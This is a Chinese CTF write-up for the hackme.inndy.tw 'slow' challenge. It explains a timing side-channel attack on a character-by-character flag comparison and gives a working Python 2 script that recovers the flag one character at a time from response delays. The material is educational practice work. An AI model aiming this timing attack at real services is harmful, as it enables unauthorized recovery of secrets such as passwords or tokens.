题目:
nc hackme.inndy.tw 7708
OMG, It's slow.
解题步骤
本题采用的是时序攻击,第一次见这种题目,也是参靠了别人的代码做出来的
具体原理就是用你输入的flag和数据库中的从第一位开始比对,比对到错误的那一位直接退出。
- 假设每比对一位的耗时是1s,正确的flag前五位一定是
FLAG{
- 当输入
FLAG{_}
时,如果耗时6s,说明第六位_
是错的,因为比对到_
就退出了,如果耗时7s,则说明_
是对的,因为比对到第7位}
才退出 - 利用这种原理,可以一位位的破解出flag
- 此题及其耗时程序大概有执行1-2个小时
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import socket
import time
def remote(s,a) :
berror = True
while berror == True :
try :
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((s,a))
berror = False
return client
except socket.error : #异常处理,因为可能会国外网站原因报错
print '---socket.error'
client.close()
berror = True
string = '_9876543210ZYXWVUTSRQPONMLKJIHGFEDCBA'
flag1 = ['F','L','A','G','{']
flag2 = '}'
start_delay = 6
break_flag = 0
while True :
for i in string:
p = remote('hackme.inndy.tw', 7708)
time.sleep(0.2) #接收到所有返回,也是因为网络原因
temp = p.recv(1024)
#print temp
a = time.time()
payload = ''.join(flag1)+i+flag2
#print i
p.send(payload)
s = p.recv(1024)
#print s
b = time.time()
print '%s [+] Delay: %d s' % (payload,int(b-a))
p.close()
if int(b-a) == start_delay + 1: #耗时+1 说明是正确位
flag1.append(i)
start_delay += 1
break
if i == 'A': #比对结束
print 'flag is %s' %(''.join(flag1)+flag2)
print 'over___'
break_flag = 1
break
if break_flag == 1 :
break